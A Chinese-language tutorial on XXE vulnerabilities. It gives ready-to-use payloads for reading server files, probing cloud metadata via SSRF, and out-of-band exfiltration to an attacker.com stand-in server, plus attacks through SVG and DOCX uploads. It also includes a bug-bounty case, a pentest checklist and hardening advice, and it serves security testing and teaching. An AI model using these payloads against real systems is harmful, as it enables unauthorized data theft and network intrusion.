Web安全-XXE漏洞从原理到深度利用

前言

XXE(XML External Entity Injection,XML外部实体注入)漏洞,是Web安全领域中一个经典且高危的漏洞类型。它利用XML解析器在处理用户可控的XML输入时,默认加载外部实体的特性,从而实现任意文件读取、内网探测、远程代码执行等攻击。

本文将结合理论与实战,从漏洞原理、挖掘技巧、利用手法、高级攻击面、SRC实战案例及修复方案等多个维度,为你系统化地剖析XXE漏洞。


第一部分:核心原理与攻击分类

1.1 漏洞本质

XXE漏洞的本质是:应用程序在解析用户可控的XML输入时,未禁用外部实体的加载,导致攻击者可以引用外部恶意内容。

外部实体(External Entity)是XML规范中的一种功能,允许通过SYSTEMPUBLIC关键字引入外部资源(如本地文件、远程URL)。当解析器未做限制时,攻击者便可利用这一机制,将敏感数据引入解析流程。

1.2 四种攻击类型

根据攻击过程中数据的传递和回显方式,XXE可分为四大类:

|-------------------|---------------------------|----------------|
| 类型 | 攻击特征 | 典型利用场景 |
| 带内数据XXE | 攻击结果直接在响应包中返回 | 文件读取、SSRF探测 |
| 基于错误XXE | 通过触发XML解析错误,在报错信息中泄露数据 | 配置错误、调试信息暴露的环境 |
| 带外数据XXE (OOB) | 通过DNS/HTTP请求将数据外带到攻击者服务器 | 严格过滤、无直接回显的场景 |
| Blind XXE | 无任何直接或间接回显,需通过日志、时间差等方式盲测 | 日志文件注入、纯外带利用 |


第二部分:漏洞挖掘------思路与技巧

2.1 黑盒测试:如何发现XXE

1. 识别XML输入点

  • Content-Type检查 :请求头为 application/xmltext/xmlapplication/soap+xml 等。
  • 数据格式特征 :请求体以 <?xml 开头,或包含 <xml> 标签。
  • 功能点联想
    • SOAP API、RESTful XML服务
    • RSS/Atom订阅
    • 文档导入/导出(如Word、Excel)
    • SVG图像上传
    • 配置文件上传(.plist, .rss, .xsd, .wsdl)

2. 格式切换测试

即使原始请求是JSON或表单,也可将 Content-Type 改为 application/xml,并将数据替换为XML Payload,测试服务器是否接受并解析。

3. 文件上传中的XXE

如后文案例所示,上传SVG图片、DOCX文档(本质是ZIP压缩的XML文件)时,很可能触发XXE。

2.2 白盒审计:关键函数定位

|-------------|---------------------------------------------------------|------------------------------------------------|
| 语言 | 危险函数/类 | 安全检查点 |
| PHP | simplexml_load_string()DOMDocument::load() | libxml_disable_entity_loader() 是否设置为 false |
| Java | DocumentBuilderFactorySAXParserFactoryXMLReader | 是否禁用了外部实体(setExpandEntityReferences(false)) |
| Python | xml.etree.ElementTreelxml | 解析器是否设置 resolve_entities=False |
| C#/.NET | XmlDocumentXPathDocument | XmlResolver 是否为空 |


第三部分:核心利用手法

3.1 基础利用:文件读取与SSRF
复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><data>&xxe;</data></root>
  • 文件读取file:///etc/passwdfile:///C:/windows/win.ini
  • SSRF探测http://169.254.169.254/latest/meta-data/(云元数据)、http://内网IP:端口
3.2 进阶利用:外部DTD引用

当直接使用 SYSTEM 被禁用时,可从远程服务器引用恶意DTD:

本地Payload:

复制代码
<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://attacker.com/file.dtd">
    %file;
]>
<root><data>&send;</data></root>

远程 file.dtd内容:

复制代码
<!ENTITY send SYSTEM "file:///etc/passwd">
3.3 无回显利用:带外数据(OOB)

当响应中看不到任何数据时,利用带外通道将数据外传。

1. 测试连通性:

复制代码
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://你的dnslog.cn"> %xxe; ]>

2. 组合利用(数据外传):

本地Payload:

复制代码
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/c.txt">
<!ENTITY % remote SYSTEM "http://attacker.com/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

远程 test.dtd

复制代码
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/get.php?file=%file;'>">

攻击者服务器上 get.php 接收并保存 file 参数,即可获取数据。

3.4 无回显利用:基于错误

通过构造一个不存在的文件路径,将目标文件内容拼接到路径中,触发报错泄露。

复制代码
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

第四部分:高级拓展------XInclude与文件上传解析

4.1 XInclude利用

当无法控制完整的XML文档,只能在某个元素内部插入内容时,可使用XInclude动态引入外部文件。

复制代码
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

注意 :XInclude生效需要服务器开启相应支持(如PHP中需设置 LIBXML_XINCLUDE 选项),属于进阶利用技巧。

4.2 SVG图像上传中的XXE

SVG本质是XML,上传恶意SVG图片可能触发XXE。

复制代码
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

利用要点

  1. 在原有SVG结构上追加 <!DOCTYPE> 实体定义。
  2. <text> 标签中引用实体,并设置 xy 坐标,确保文本能显示在图片上。
  3. 不能破坏原有SVG结构,否则无法解析。
4.3 其他文档格式中的XXE
  • DOCX/XLSX/PPTX :这些是ZIP压缩包,内含多个XML文件。可通过工具(如 docem)自动向文档内所有XML文件注入Payload,再重新打包上传。
  • 关键注入点
    • word/document.xml(传统内容区域)
    • docProps/app.xml(如页码 <Pages> 标签,常用于在线预览回显)
    • xl/workbook.xml(Excel)
  • RSS/ATOM:订阅源也是XML格式。

第五部分:SRC实战案例复盘

案例:电子签名功能中的XXE(奖金2500元)

漏洞挖掘过程

  1. 发现入口:在APP/小程序的电子签名功能处,抓包发现上传的签名数据是Base64编码的字符串。
  2. 解码分析 :将数据包中的 params 值Base64解码,发现内容为 SVG格式 的矢量图数据。
  3. 构造Payload
    • 在原始SVG结构上添加 <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    • <text> 标签中引用 &xxe;,设置坐标确保渲染可见
  1. 利用成功:重新Base64编码后提交,服务器解析了实体,将文件内容渲染到签名图片中返回。
  2. 扩大战果:发现该漏洞通用于该厂商的多个APP、小程序、Web主站和子系统(虽接口不同,但底层解析逻辑相同)。

案例关键洞察

  • 文件上传与XXE结合:不要只盯着API请求,上传的图片(SVG)、文档(DOCX)也可能是攻击面。
  • 格式完整性:注入Payload时,必须保持原始XML结构的完整性。
  • 回显条件:在SVG这类可渲染的格式中,要确保实体引用的内容能在输出介质上可见。

第六部分:渗透测试检查清单(XXE专项)

  • 寻找所有XML输入点(API请求头、上传文件、订阅源)
  • 尝试修改 Content-Typeapplication/xml,并将数据改为XML格式
  • 测试基础外部实体:<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>,观察响应
  • 测试SSRF:<!ENTITY xxe SYSTEM "http://你的dnslog.cn">,查看是否收到请求
  • 若直接引用被禁,尝试引用外部DTD
  • 若无回显,测试带外(OOB)通道
  • 测试XInclude
  • 测试文件上传:上传SVG图片、DOCX文档,内部包含XXE payload
  • 注意编码:如Base64编码的SVG,需解码修改后再编码提交
  • 利用读到的文件进一步审计(配置文件、源码、历史命令)

第七部分:安全加固建议(用于报告)

  1. 完全禁用外部实体
    • PHP:libxml_disable_entity_loader(true);
    • Java:dbf.setExpandEntityReferences(false); 并设置 setFeature 禁用外部DTD
    • Python(lxml):etree.XMLParser(resolve_entities=False)
  1. 输入过滤 :过滤 <!DOCTYPE<!ENTITYSYSTEMPUBLIC 等关键词
  2. 使用安全的解析库 :如 defusedxml(Python)
  3. 最小化权限:运行应用的账户不应对敏感文件有读取权限
  4. 网络隔离:限制应用服务器对外部网络的访问,防止SSRF和带外数据泄露

结语

XXE漏洞的精髓在于利用XML解析器的功能特性实现攻击。在渗透测试中,要灵活运用带内、带外、错误、Blind四种利用方式,并结合文件上传、文档解析、SVG图像等场景,将简单的文件读取逐步演变为内网渗透的跳板。

核心建议

  • 只要看到数据被封装在 <xxx> 标签中,或响应头有 Content-Type: application/xml,就应联想到XXE测试。
  • OOB(带外数据外传)是关键技能,大多数真实场景下XXE是盲的,必须掌握搭建带外信道传输数据的方法。
  • 关注组件漏洞,中间件和第三方组件的XXE漏洞也是高危突破口。